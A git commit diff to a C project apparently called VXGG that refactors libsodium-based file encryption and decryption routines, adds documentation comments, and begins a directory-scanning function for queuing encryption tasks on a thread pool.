summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
author@syxhe <https://t.me/syxhe>2025-06-11 19:39:52 -0500
committer@syxhe <https://t.me/syxhe>2025-06-11 19:39:52 -0500
commit1536f1e0287b8281014200ef6911b294272c4773 (patch)
tree4ba6faa9e7c30b8a6641189e98423a7a927f6d32
parent28487272fdad654b72c843e04384953e6fbb806f (diff)
Start fixing the encryption scheme
-rw-r--r--src/encryption.c272
-rw-r--r--src/encryption.h101
-rw-r--r--src/shared.h18
-rw-r--r--src/threadpool.h26
4 files changed, 320 insertions, 97 deletions
diff --git a/src/encryption.c b/src/encryption.c
index fd42929..a3f75d1 100644
--- a/src/encryption.c
+++ b/src/encryption.c
@@ -16,13 +16,15 @@
16 16
17#define _GNU_SOURCE 17#define _GNU_SOURCE
18 18
19#include "encryption.h"
20#include "shared.h" 19#include "shared.h"
20#include "encryption.h"
21#include "threadpool.h"
21 22
22#include <sodium.h> 23#include <sodium.h>
23 24
24#include <sys/types.h> 25#include <sys/types.h>
25#include <sys/stat.h> 26#include <sys/stat.h>
27#include <dirent.h>
26#include <stdarg.h> 28#include <stdarg.h>
27#include <string.h> 29#include <string.h>
28#include <unistd.h> 30#include <unistd.h>
@@ -34,19 +36,42 @@
34#if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0 36#if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0
35#if ___VXGG___USE_CLS_CALLBACK___ > 0 37#if ___VXGG___USE_CLS_CALLBACK___ > 0
36 38
37void naclfaildefault(void *none) { 39/**
40 * @brief Default sodium init fail callback for use in `checksodiumcb()`
41 *
42 * @param none Unused param to fit callback spec
43 */
44static void naclfaildefault(void *none) {
38 none = none; // Makes gcc happy 45 none = none; // Makes gcc happy
39 if(___VXGG___VERBOSE_ERRORS___) 46 if(___VXGG___VERBOSE_ERRORS___)
40 error(1, ENOTSUP, "<naclfaildefault> Couldn't initialize sodium for some reason. Quitting..."); 47 error(1, ENOTSUP, "<naclfaildefault> Couldn't initialize sodium for some reason. Quitting...");
41 exit(EXIT_FAILURE); 48 exit(EXIT_FAILURE);
42} 49}
43 50
44int checksodiumcb(vxgg_naclfailcb const callback, void *data, unsigned char set) { 51/**
52 * @brief Internal function to deal with the `___VXGG___USE_CLS_CALLBACK___` macro
53 *
54 * `checksodiumcb()` runs the sodium function `sodium_init()` and on error calls the provided callback with the provided data. The
55 * callback and data default to `naclfaildefault` and `NULL`, but can be changed when the `set` parameter is non-zero. When `set`
56 * is zero, the sodium init check is preformed
57 *
58 * @note `checksodiumcb()` is ran when these conditions are true - 1: The `___VXGG___ALWAYS_CHECK_LIBSODIUM___` and `___VXGG___USE_CLS_CALLBACK___`
59 * macros are both greater than 0 when compiling, and 2: a function in `encryption.c` calls a function originating from sodium. This
60 * function exists as a way to deal with sodium failing yourself, instead of instantly calling `exit()`. If you don't care to handle
61 * it, or are initializing sodium yourself, this is unnecessary
62 *
63 * @param callback A callback to be ran when sodium fails to initialize itself. Ignored if `set` is zero. Must be non-null when `set` is non-zero
64 * @param data Data to be passed to the callback when it is fired. Ignored if `set` is zero. May be null
65 * @param set Flag on whether to check sodium or to set a new callback and data pair. Checks sodium when zero, sets callback & data when non-zero
66 * @retval int
67 */
68static int checksodiumcb(vxgg_naclfailcb const callback, void *data, unsigned char set) {
45 static vxgg_naclfailcb cb = naclfaildefault; 69 static vxgg_naclfailcb cb = naclfaildefault;
46 static void *usr = NULL; 70 static void *usr = NULL;
47 int ret; 71 int ret;
48 72
49 if(set) { 73 if(set) {
74 if(cb == NULL) ERRRET(EINVAL, -1);
50 cb = callback; 75 cb = callback;
51 usr = data; 76 usr = data;
52 return 2; // libsodium normally returns 1 if the library is already initialized, so this is to signal that the callback has been updated 77 return 2; // libsodium normally returns 1 if the library is already initialized, so this is to signal that the callback has been updated
@@ -68,7 +93,15 @@ void vxgg_setsodiumfailcb(vxgg_naclfailcb cb, void *data) {
68 93
69#endif 94#endif
70 95
71void checksodium(void) { 96/**
97 * @brief Simple function to check if sodium has been properly initialized
98 *
99 * `checksodium()` will run in functions located in `encryption.h` only when the macro `___VXGG___ALWAYS_CHECK_LIBSODIUM___` is greater
100 * than zero when compiling. It will call the `checksodiumcb()` function if compiled with the `___VXGG___USE_CLS_CALLBACK___` macro.
101 * When called, checksodium will run `sodium_init()`, and will either run the user-defined callback or `XALLOC_EXIT`.
102 *
103 */
104static void checksodium(void) {
72 #if ___VXGG___USE_CLS_CALLBACK___ > 0 105 #if ___VXGG___USE_CLS_CALLBACK___ > 0
73 checksodiumcb(NULL, NULL, 0); 106 checksodiumcb(NULL, NULL, 0);
74 #else 107 #else
@@ -103,42 +136,89 @@ int linkto(const char * const target, int tgfd) {
103 return res; 136 return res;
104} 137}
105 138
139
140static void __ucl_close(void *fd) {
141 if(!fd) return;
142 close(*(int*)fd);
143 *(int*)fd = -1;
144 return;
145}
146
147static void __ucl_fclose(void *file) {
148 if(!file) return;
149 fclose((FILE*)file);
150 return;
151}
152
106int encryptviatmp(const char * const target, const char * const output, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) { 153int encryptviatmp(const char * const target, const char * const output, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
107 #if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0 154 #if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0
108 checksodium(); 155 checksodium();
109 #endif 156 #endif
110 157
158 cleanup_CREATE(10);
111 int fd = -1, tfd = -1; 159 int fd = -1, tfd = -1;
160 FILE *src, *dst;
161 char *targetdir;
112 162
113 // Open the target file 163 // Open the target file
114 if((fd = open(target, O_RDONLY)) < 0) 164 if((fd = open(target, O_RDONLY)) < 0)
115 return -1; 165 return -1;
166 cleanup_REGISTER(__ucl_close, (void*)&fd);
116 167
117 // Create a temp file for writing 168 // Create a temp file for writing
118 char *targetdir = xdirname(output); 169 targetdir = vxdirname(output);
119 tfd = maketmp(targetdir); 170 if(!targetdir)
120 free(targetdir); 171 cleanup_MARK();
121 if(tfd < 0) { 172 cleanup_CNDREGISTER(free, targetdir);
122 close(fd); 173
123 return -1; 174 // Actually get the file descriptor for the temp file
124 } 175 cleanup_CNDEXEC(
125 176 tfd = maketmp(targetdir);
126 FILE *src, *dst; 177 if(tfd < 0)
127 if(!(src = fdopen(fd, "rb"))) 178 cleanup_MARK();
128 ERROR(1, errno, "<encryptviatmp> Couldn't open \"%s\"", , target); 179 cleanup_CNDREGISTER(__ucl_close, (void*)&tfd);
129 if(!(dst = fdopen(tfd, "wb"))) 180 );
130 ERROR(1, errno, "<encryptviatmp> Couldn't open \"%s\"", , output); 181
131 if(encrypttofile(src, dst, key) < 0) 182 // Create a FILE* version of the source fd
132 ERROR(1, ENOTRECOVERABLE, "<encryptviatmp> I don't even have a way to cause an error here. How did you do it?",); 183 cleanup_CNDEXEC(
133 184 if(!(src = fdopen(fd, "rb"))) {
134 // Link the temp file into the system 185 WARN(errno, "<encryptviatmp> Couldn't open \"%s\"", , target);
135 if(linkto(output, tfd) < 0) 186 cleanup_MARK();
136 ERROR(1, errno, "<encryptviatmp> Could not link \"%s\" into system after encryption", , output); 187 }
137 188 cleanup_CNDREGISTER(__ucl_fclose, (void*)&src);
138 fclose(dst); 189 )
139 fclose(src); 190
140 // fclose alco closes fd and tfd, as fdopen does not dup the file descriptors 191 // Create a FILE* version of the target fd
192 cleanup_CNDEXEC(
193 if(!(dst = fdopen(tfd, "wb"))) {
194 WARN(errno, "<encryptviatmp> Couldn't open \"%s\"", , output);
195 cleanup_MARK();
196 }
197 cleanup_CNDREGISTER(__ucl_fclose, (void*)dst);
198 );
199
200
201 // Do the encryption now that everything has been set up
202 cleanup_CNDEXEC(
203 // Not going to bother changing this, it probably is catastrophic if an error happens when it shouldn't
204 if(encrypttofile(src, dst, key) < 0)
205 ERROR(1, ENOTRECOVERABLE, "<encryptviatmp> I don't even have a way to cause an error here. How did you do it?",);
206
207 // Link the temp file into the system
208 if(linkto(output, tfd) < 0)
209 WARN(errno, "<encryptviatmp> Could not link \"%s\" into system after encryption", , output);
210
211 free(targetdir);
212 fclose(dst);
213 fclose(src);
214 // fclose alco closes fd and tfd, as fdopen does not dup the file descriptors
215 );
216
141 217
218 cleanup_CNDFIRE();
219 if(cleanup_ERRORFLAGGED)
220 return -1;
221
142 return 0; 222 return 0;
143} 223}
144 224
@@ -148,31 +228,64 @@ int decryptto(const char * const encrypted, const char * const target, const uns
148 checksodium(); 228 checksodium();
149 #endif 229 #endif
150 230
231 cleanup_CREATE(10);
151 FILE *src, *dst; 232 FILE *src, *dst;
152 if(!(src = fopen(encrypted, "rb"))) 233 int fdst;
153 ERROR(1, errno, "<decryptto> Could not open \"%s\" for decryption", , encrypted);
154
155 int fdst = maketmp(target);
156 if(!fdst)
157 ERROR(1, errno, "<decryptto> Could not get temp file for decryption", );
158 if(!(dst = fdopen(fdst, "wb")))
159 ERROR(1, errno, "<decryptto> Could not open \"%s\" for writing decrypted data", , target);
160
161 if(decrypttofile(src, dst, key) < 0)
162 ERROR(1, errno, "<decryptto> How did you even cause an error?",);
163
164 // Link temp into system
165 if(linkto(target, fdst) < 0)
166 ERROR(1, errno, "<decryptto> Could not link \"%s\" into system", , target);
167 234
168 fclose(dst); 235 // Open the source file
169 fclose(src); 236 if(!(src = fopen(encrypted, "rb"))) {
170 // fclose alco closes fd and tfd, as fdopen does not dup the file descriptors 237 WARN(errno, "<decryptto> Could not open \"%s\" for decryption", , encrypted);
238 return -1;
239 }
240 cleanup_REGISTER(__ucl_fclose, src);
241
242 // Get a temp descriptor for the temp file
243 cleanup_CNDEXEC(
244 fdst = maketmp(target);
245 if(!fdst) {
246 WARN(errno, "<decryptto> Could not get temp file for decryption", );
247 cleanup_MARK();
248 }
249 cleanup_CNDREGISTER(__ucl_close, (void*)&fdst);
250 );
251
252 // Open a FILE* version of the temp file
253 cleanup_CNDEXEC(
254 if(!(dst = fdopen(fdst, "wb"))) {
255 WARN(errno, "<decryptto> Could not open \"%s\" for writing decrypted data", , target);
256 cleanup_MARK();
257 }
258 cleanup_CNDREGISTER(__ucl_fclose, dst);
259 );
260
261 // Follow through with the rest of the decryption
262 cleanup_CNDEXEC(
263 if(decrypttofile(src, dst, key) < 0)
264 ERROR(1, errno, "<decryptto> How did you even cause an error?",);
265
266 // Link temp into system
267 if(linkto(target, fdst) < 0)
268 WARN(errno, "<decryptto> Could not link \"%s\" into system", , target);
269
270 fclose(dst);
271 fclose(src);
272 // fclose alco closes fd and tfd, as fdopen does not dup the file descriptors
273 );
274
275 cleanup_CNDFIRE();
276 if(cleanup_ERRORFLAGGED)
277 return -1;
171 278
279 // Note: If an error were to theoretically occur, which shouldn't be possible but I'm covering my bases here, after the
280 // `dst = fdopen` line, a double close on the temp file descriptor would occur. I've been told that this is not catastrophic,
281 // and considering how my multithreading works it *should* be fine, but it very well could cause problems. The easy solution is
282 // to man up and just write another cleanup function to pop the last thing off the stack, but again this is an error I can't
283 // actually trigger so it's fine for now
172 284
173 return 0; 285 return 0;
174} 286}
175 287
288// TODO: Fix this mess
176int encrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) { 289int encrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
177 if(!src || !dst || !key) ERRRET(EINVAL, -1); 290 if(!src || !dst || !key) ERRRET(EINVAL, -1);
178 #if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0 291 #if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0
@@ -210,6 +323,7 @@ int encrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstr
210 return 0; 323 return 0;
211} 324}
212 325
326// TODO: Fix this as well
213int decrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) { 327int decrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
214 if(!src || !dst || !key) ERRRET(EINVAL, -1); 328 if(!src || !dst || !key) ERRRET(EINVAL, -1);
215 #if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0 329 #if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0
@@ -283,7 +397,6 @@ int genpassword(char **str, unsigned int words) {
283 return words; 397 return words;
284} 398}
285 399
286// sodium_malloc wrapper. Calls `error()` or `abort()` depnding on the value of `___VXGG___XALLOC_EXIT_ON_ERROR___`. Will make sure libsodium is initialized if `___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0`
287void* xsodium_malloc(size_t size) { 400void* xsodium_malloc(size_t size) {
288 #if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0 401 #if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0
289 checksodium(); 402 checksodium();
@@ -298,15 +411,9 @@ void* xsodium_malloc(size_t size) {
298 411
299 412
300 413
301/* 414// TODO: Rewrite this to use the threadpool. Each newly scanned file should be pushed onto the threadpool as an encryption task
302
303#include "threadpool.h"
304 415
305// #include <stdlib.h>
306// #include <dirent.h> 416// #include <dirent.h>
307// #include <string.h>
308// #include <errno.h>
309// #include <error.h>
310 417
311// dlinkedlist * scandirlist(const char * const dir, int (*selector)(const struct dirent *), int (*cmp)(const struct dirent **, const struct dirent **)) { 418// dlinkedlist * scandirlist(const char * const dir, int (*selector)(const struct dirent *), int (*cmp)(const struct dirent **, const struct dirent **)) {
312// if(!dir || selector == NULL || cmp == NULL) ERRRET(EINVAL, NULL); 419// if(!dir || selector == NULL || cmp == NULL) ERRRET(EINVAL, NULL);
@@ -333,8 +440,61 @@ void* xsodium_malloc(size_t size) {
333// return list; 440// return list;
334// } 441// }
335 442
336// TODO: Rewrite this to use the threadpool. Each newly scanned file should be pushed onto the threadpool as an encryption task 443
337*/ 444
445struct __ucl_namelist_vals {
446 struct dirent **namelist;
447 int entries;
448};
449
450static void __ucl_namelist(void *namelist) {
451 if(!namelist) return;
452 struct __ucl_namelist_vals *real = namelist;
453 for(int i = 0; i > real->entries; i++)
454 free(real->namelist[i]);
455 free(real->namelist);
456 return;
457}
458
459enum VXGG_FLC {
460 VXGG_FLC__INVALID,
461 VXGG_FLC__ENCRYPT,
462 VXGG_FLC__DECRYPT,
463 VXGG_FLC__TOOBIG
464};
465
466ctqueue * getfilelist(enum VXGG_FLC mode, const char * const dir, int threads, int (*filter)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **)) {
467 if(mode <= VXGG_FLC__INVALID || mode >= VXGG_FLC__TOOBIG || !dir || threads <= 0 || !filter || !compar) ERRRET(EINVAL, NULL);
468
469 cleanup_CREATE(10);
470 ctqueue *ctq = NULL;
471 int files = -1;
472
473 // Create the ctqueue for later
474 ctq = ctqueue_init(threads);
475 if(!ctq)
476 return NULL;
477 cleanup_REGISTER(ctqueue_free, ctq);
478
479 // Get the scandir list
480 struct dirent **namelist;
481 if((files = scandir(dir, &namelist, filter, compar)) < 0)
482 cleanup_MARK();
483 cleanup_CNDREGISTER(__ucl_namelist, (void*)(&(struct __ucl_namelist_vals){.namelist = namelist, .entries = files}));
484
485 // Push everything onto the ctqueue
486 // TODO: Write task* compatible callbacks for encryption and decryption, then populate the ctqueue based on the specified mode
487
488 cleanup_CNDFIRE();
489 if(cleanup_ERRORFLAGGED)
490 return NULL;
491
492 return ctq;
493}
494
495
496
497
338 498
339/* 499/*
340int main(void) { 500int main(void) {
diff --git a/src/encryption.h b/src/encryption.h
index 5c6a08c..a23cbdf 100644
--- a/src/encryption.h
+++ b/src/encryption.h
@@ -13,35 +13,41 @@
13#define __VXGG_REWRITE___ENCRYPTION_H___1481879318188___ 13#define __VXGG_REWRITE___ENCRYPTION_H___1481879318188___
14 14
15#include <sodium.h> 15#include <sodium.h>
16#include "shared.h"
16 17
17// Determines whether any function that calls libsodium functions also checks to make sure libsodium is actually initialized. May 18/// Determines whether any function that calls libsodium functions also checks to make sure libsodium is actually initialized. May
18// cause unexpected issues with early exiting due to libsodium failing to initialize properly. It's recommended that you just 19/// cause unexpected issues with early exiting due to libsodium failing to initialize properly. It's recommended that you just
19// manually run `sodium_init()` in some main or init function of your own so that you can deal with a potential error yourself 20/// manually run `sodium_init()` in some main or init function of your own so that you can deal with a potential error yourself
20#define ___VXGG___ALWAYS_CHECK_LIBSODIUM___ 1 21#define ___VXGG___ALWAYS_CHECK_LIBSODIUM___ 1
21 22
22// Grants access to the `vxgg_setsodiumfailcb` function, which can be used to set a custom callback for what to do when libsodium 23/// Grants access to the `vxgg_setsodiumfailcb` function, which can be used to set a custom callback for what to do when libsodium
23// fails upon initialization 24/// fails upon initialization
24#define ___VXGG___USE_CLS_CALLBACK___ 1 25#define ___VXGG___USE_CLS_CALLBACK___ 1
25 26
26 27
27#if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0 28#if ___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0
28// Checks if sodium is initialized. Initializes it if not. If `___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0`, it's possible to set an error callback to avoid exiting the entire program. Otherwise calls `error()` if libsodium can't initialize
29void checksodium(void);
30
31#if ___VXGG___USE_CLS_CALLBACK___ > 0 29#if ___VXGG___USE_CLS_CALLBACK___ > 0
32// Definition for the callback function that fires when a call to checksodium fails 30//! Definition for the callback function that fires when a call to checksodium fails
33typedef void (*vxgg_naclfailcb)(void*); 31typedef void (*vxgg_naclfailcb)(void*);
34 32
35// Sets the error callback for when libsodium fails. Runs `cb(data)` if `(sodium_init() < 0)` 33/**
34 * @brief Sets a callback and data pair to be ran if/when sodium fails to initialize
35 *
36 * @param cb The new callback to set. Must be non-null
37 * @param data The data to be fed to the callback. May be null
38 */
36void vxgg_setsodiumfailcb(const vxgg_naclfailcb cb, void *data); 39void vxgg_setsodiumfailcb(const vxgg_naclfailcb cb, void *data);
37#endif 40#endif
38#endif 41#endif
39 42
40// Chunk size for en/de-cryption. I originally wanted to use st_blksize from stat(), but given that those chunks may be of different 43/// Chunk size for en/decryption. I originally wanted to use st_blksize from stat(), but given that those chunks may be of different
41// sizes between computers / filesystems / architectures / files, it's easier to just have this be a consistent macro 44/// sizes between computers / filesystems / architectures / files, it's easier to just have this be a consistent macro
42#define CHUNKSIZE (1 << 9) 45#define CHUNKSIZE (1 << 9)
43 46
47const static char * test = "this is a test";
48
44// Fuck reading from a file. Even if someone ran strings on the binary and got this they wouldn't be able to regenerate the key 49// Fuck reading from a file. Even if someone ran strings on the binary and got this they wouldn't be able to regenerate the key
50//! A list of possible words for password creation
45#define PASSWORD_WORDS (\ 51#define PASSWORD_WORDS (\
46 (const char * const []){\ 52 (const char * const []){\
47 "the", "of", "to", "and", "for", "our", "their", "has", "in", "he", "a", "them", "that", "these", "by", "have", "we", \ 53 "the", "of", "to", "and", "for", "our", "their", "has", "in", "he", "a", "them", "that", "these", "by", "have", "we", \
@@ -96,27 +102,84 @@ void vxgg_setsodiumfailcb(const vxgg_naclfailcb cb, void *data);
96 "reliance", "divine", "providence", "mutually", "pledge", "each", "fortunes", "sacred", "honor"\ 102 "reliance", "divine", "providence", "mutually", "pledge", "each", "fortunes", "sacred", "honor"\
97 }\ 103 }\
98) 104)
105//! Short macro for getting the `PASSWORD_WORDS` array size
99#define PASSWORD_WORDS_LEN (STATIC_ARRAY_LEN(PASSWORD_WORDS)) 106#define PASSWORD_WORDS_LEN (STATIC_ARRAY_LEN(PASSWORD_WORDS))
100 107
101// open() with the flags O_TMPFILE, O_WRONLY, O_CLOEXEC, and O_SYNC. Opened with mode S_IRUSR, S_IWUSR 108/**
109 * @brief open() with the flags O_TMPFILE, O_WRONLY, O_CLOEXEC, and O_SYNC. Opened with mode S_IRUSR, S_IWUSR
110 *
111 * @param dest The filename the new descriptor should have. Must be non-null
112 * @retval (int)[-1,int] A new file descriptor. -1 on error
113 */
102int maketmp(const char * const dest); 114int maketmp(const char * const dest);
103 115
104// Encrypt src to dst using libsodium's xchacha encryption suite 116/**
117 * @brief Encrypt src to dst using libsodium's xchacha encryption suite
118 *
119 * @param src File to encrypt
120 * @param dst Destination to write encrypted file
121 * @param key Key for encryption
122 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
123 */
105int encrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]); 124int encrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]);
106 125
107// Decrypt src to dst using libsodium's xchacha encryption suite 126/**
127 * @brief Decrypt src to dst using libsodium's xchacha encryption suite
128 *
129 * @param src File to decrypt
130 * @param dst Destination to write decrypted file
131 * @param key Key used to encrypt
132 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
133 */
108int decrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]); 134int decrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]);
109 135
110// Encrypt file at `target` to `output` using Linux's named temp file system to do it in the background 136/**
137 * @brief Encrypt file at `target` to `output` using Linux's named temp file system to do it in the background
138 *
139 * @param target
140 * @param output
141 * @param key
142 * @retval (int)[,]
143 */
111int encryptviatmp(const char * const target, const char * const output, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]); 144int encryptviatmp(const char * const target, const char * const output, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]);
112 145
113// Decrypt the file at `encrypted` to `target` 146/**
147 * @brief Decrypt the file at `encrypted` to `target`
148 *
149 * @param encrypted
150 * @param target
151 * @param key
152 * @retval (int)[,]
153 */
114int decryptto(const char * const encrypted, const char * const target, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]); 154int decryptto(const char * const encrypted, const char * const target, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]);
115 155
116// 156/**
157 * @brief Link a file descriptor into the filesystem
158 *
159 * @param target New filename the descriptor should have
160 * @param tgfd The file descriptor to link
161 * @retval (int)[-1, 0] 0 on success, -1 on error
162 */
117int linkto(const char * const target, int tgfd); 163int linkto(const char * const target, int tgfd);
118 164
119// 165/**
166 * @brief Generate a password viable for use in the derivation of a key
167 *
168 * @param str Pointer to a string. This will be filled by a malloc'ed string of words (the password). Must be non-null
169 * @param words The number of words to include in the password. A password of at least 20 words and probably not more than 40 is recommended
170 * @retval (int)[-1, words] On success, returns the number of words requested. On error, returns -1 and sets errno
171 */
120int genpassword(char **str, unsigned int words); 172int genpassword(char **str, unsigned int words);
121 173
174/**
175 * @brief sodium_malloc wrapper.
176 *
177 * Calls `error()` or `abort()` depnding on the value of `___VXGG___XALLOC_EXIT_ON_ERROR___`. Will make sure libsodium is initialized if `___VXGG___ALWAYS_CHECK_LIBSODIUM___ > 0`
178 *
179 * @param size
180 * @retval (void*) A pointer to some data allocated via `sodium_malloc()`
181 */
182void* xsodium_malloc(size_t size);
183
184
122#endif \ No newline at end of file 185#endif \ No newline at end of file
diff --git a/src/shared.h b/src/shared.h
index 6276281..94c6f06 100644
--- a/src/shared.h
+++ b/src/shared.h
@@ -62,7 +62,7 @@ typedef void (*fcallback)(void*); //!< free()-like callback signature
62 * @param str Pointer to a string. Will be replaced with the malloc()'ed string 62 * @param str Pointer to a string. Will be replaced with the malloc()'ed string
63 * @param initsize The initial size of the malloc()'ed string 63 * @param initsize The initial size of the malloc()'ed string
64 * @param fd A file descriptor to read from 64 * @param fd A file descriptor to read from
65 * @return int Returns the size of the array on success, or -1 on error 65 * @retval (int)[-1, strlen(str)] Returns the size of the array on success, or -1 on error
66 * @note The allocated buffer will expand and contract as necessary, but it's recommended to set `initsize` to some value close to or equal to the size of the file being read to reduce the number of resizes 66 * @note The allocated buffer will expand and contract as necessary, but it's recommended to set `initsize` to some value close to or equal to the size of the file being read to reduce the number of resizes
67 */ 67 */
68int rwbuf(char **str, unsigned long int initsize, int fd); 68int rwbuf(char **str, unsigned long int initsize, int fd);
@@ -73,7 +73,7 @@ int rwbuf(char **str, unsigned long int initsize, int fd);
73 * @param fd The file descriptor to write to 73 * @param fd The file descriptor to write to
74 * @param buf The buffer to write from 74 * @param buf The buffer to write from
75 * @param len The length of the buffer 75 * @param len The length of the buffer
76 * @return int Returns 0 on success, -1 on error 76 * @retval (int)[-1, 0] Returns 0 on success, -1 on error
77 */ 77 */
78int wwbuf(int fd, const unsigned char *buf, int len); 78int wwbuf(int fd, const unsigned char *buf, int len);
79 79
@@ -83,7 +83,7 @@ int wwbuf(int fd, const unsigned char *buf, int len);
83 * @brief `dirname()` reimplementation that returns a malloc()'ed string 83 * @brief `dirname()` reimplementation that returns a malloc()'ed string
84 * 84 *
85 * @param path The filepath to be inspected 85 * @param path The filepath to be inspected
86 * @return char* Returns a null-terminated string on success, or `null` on error 86 * @retval (char*)[NULL, char*] Returns a null-terminated string on success, or `null` on error
87 */ 87 */
88char * vxdirname(const char * const path); 88char * vxdirname(const char * const path);
89 89
@@ -107,7 +107,7 @@ typedef struct cl {
107 * @param callbacks An array of free()-like callbacks. Must be `size` elements long 107 * @param callbacks An array of free()-like callbacks. Must be `size` elements long
108 * @param arguments An array of void pointers. Must be `size` elements long 108 * @param arguments An array of void pointers. Must be `size` elements long
109 * @param size The number of elements the callbacks and arguments array are long 109 * @param size The number of elements the callbacks and arguments array are long
110 * @return int Returns 0 on success, -1 on error 110 * @retval (int)[-1, 0] Returns 0 on success, -1 on error
111 */ 111 */
112int cleanup_init(cleanup *loc, fcallback callbacks[], void *arguments[], int size); 112int cleanup_init(cleanup *loc, fcallback callbacks[], void *arguments[], int size);
113 113
@@ -117,7 +117,7 @@ int cleanup_init(cleanup *loc, fcallback callbacks[], void *arguments[], int siz
117 * @param loc The cleanup object to modify 117 * @param loc The cleanup object to modify
118 * @param cb A free()-like callback to run 118 * @param cb A free()-like callback to run
119 * @param arg A piece of data for the callback to run 119 * @param arg A piece of data for the callback to run
120 * @return int Returns 0 on success, -1 on error 120 * @retval (int)[-1, 0] Returns 0 on success, -1 on error
121 */ 121 */
122int cleanup_register(cleanup *loc, fcallback cb, void *arg); 122int cleanup_register(cleanup *loc, fcallback cb, void *arg);
123 123
@@ -128,7 +128,7 @@ int cleanup_register(cleanup *loc, fcallback cb, void *arg);
128 * @param cb A free()-like callback to run 128 * @param cb A free()-like callback to run
129 * @param arg A piece of data for the callback to run 129 * @param arg A piece of data for the callback to run
130 * @param flag Whether or not the register should take place. Will not run if `flag` is non-zero 130 * @param flag Whether or not the register should take place. Will not run if `flag` is non-zero
131 * @return int Returns 0 on success or skip, -1 on error 131 * @retval (int)[-1, 0] Returns 0 on success or skip, -1 on error
132 */ 132 */
133int cleanup_cndregister(cleanup *loc, fcallback cb, void *arg, unsigned char flag); 133int cleanup_cndregister(cleanup *loc, fcallback cb, void *arg, unsigned char flag);
134 134
@@ -137,7 +137,7 @@ int cleanup_cndregister(cleanup *loc, fcallback cb, void *arg, unsigned char fla
137 * @attention Does not free any registered callbacks or arguments, just marks them as available space 137 * @attention Does not free any registered callbacks or arguments, just marks them as available space
138 * 138 *
139 * @param loc The cleanup object to modify 139 * @param loc The cleanup object to modify
140 * @return int Returns 0 on success, -1 on error 140 * @retval (int)[-1, 0] Returns 0 on success, -1 on error
141 */ 141 */
142int cleanup_clear(cleanup *loc); 142int cleanup_clear(cleanup *loc);
143 143
@@ -145,7 +145,7 @@ int cleanup_clear(cleanup *loc);
145 * @brief Fires all the registered callbacks and arguments in a cleanup object in FIFO (stack) order 145 * @brief Fires all the registered callbacks and arguments in a cleanup object in FIFO (stack) order
146 * 146 *
147 * @param loc The cleanup object to fire 147 * @param loc The cleanup object to fire
148 * @return int Returns 0 on success, -1 on error 148 * @retval (int)[-1, 0] Returns 0 on success, -1 on error
149 */ 149 */
150int cleanup_fire(cleanup *loc); 150int cleanup_fire(cleanup *loc);
151 151
@@ -154,7 +154,7 @@ int cleanup_fire(cleanup *loc);
154 * 154 *
155 * @param loc The cleanup object in question 155 * @param loc The cleanup object in question
156 * @param flag Whether the object should be fired. Will skip firing if non-zero 156 * @param flag Whether the object should be fired. Will skip firing if non-zero
157 * @return int Returns 0 on success, -1 on error 157 * @retval (int)[-1, 0] Returns 0 on success, -1 on error
158 */ 158 */
159int cleanup_cndfire(cleanup *loc, unsigned char flag); 159int cleanup_cndfire(cleanup *loc, unsigned char flag);
160 160
diff --git a/src/threadpool.h b/src/threadpool.h
index 91c903c..61dbacd 100644
--- a/src/threadpool.h
+++ b/src/threadpool.h
@@ -25,7 +25,7 @@ typedef struct ctqueue ctqueue;
25 * @param callback Callback function the given data should be ran with. Must be non-null 25 * @param callback Callback function the given data should be ran with. Must be non-null
26 * @param freecb Callback function for freeing the given data. May be null 26 * @param freecb Callback function for freeing the given data. May be null
27 * @param data Data to be passed to the callback. May be null 27 * @param data Data to be passed to the callback. May be null
28 * @return task* Returns a task object with set parameters. Returns `null` and sets errno on error 28 * @retval (task*)[NULL, task*] Returns a task object with set parameters. Returns `null` and sets errno on error
29 */ 29 */
30task * task_init(gcallback callback, fcallback freecb, void *data); 30task * task_init(gcallback callback, fcallback freecb, void *data);
31 31
@@ -40,7 +40,7 @@ void task_free(void *tsk);
40 * @brief Fire a task. Passes the `data` member to the specified `callback` 40 * @brief Fire a task. Passes the `data` member to the specified `callback`
41 * 41 *
42 * @param tsk A task to be fired. Must be non-null 42 * @param tsk A task to be fired. Must be non-null
43 * @return int Returns value of the fired callback. Returns -1 and sets errno on error 43 * @retval (int) Returns value of the fired callback. Returns -1 and sets errno on error
44 */ 44 */
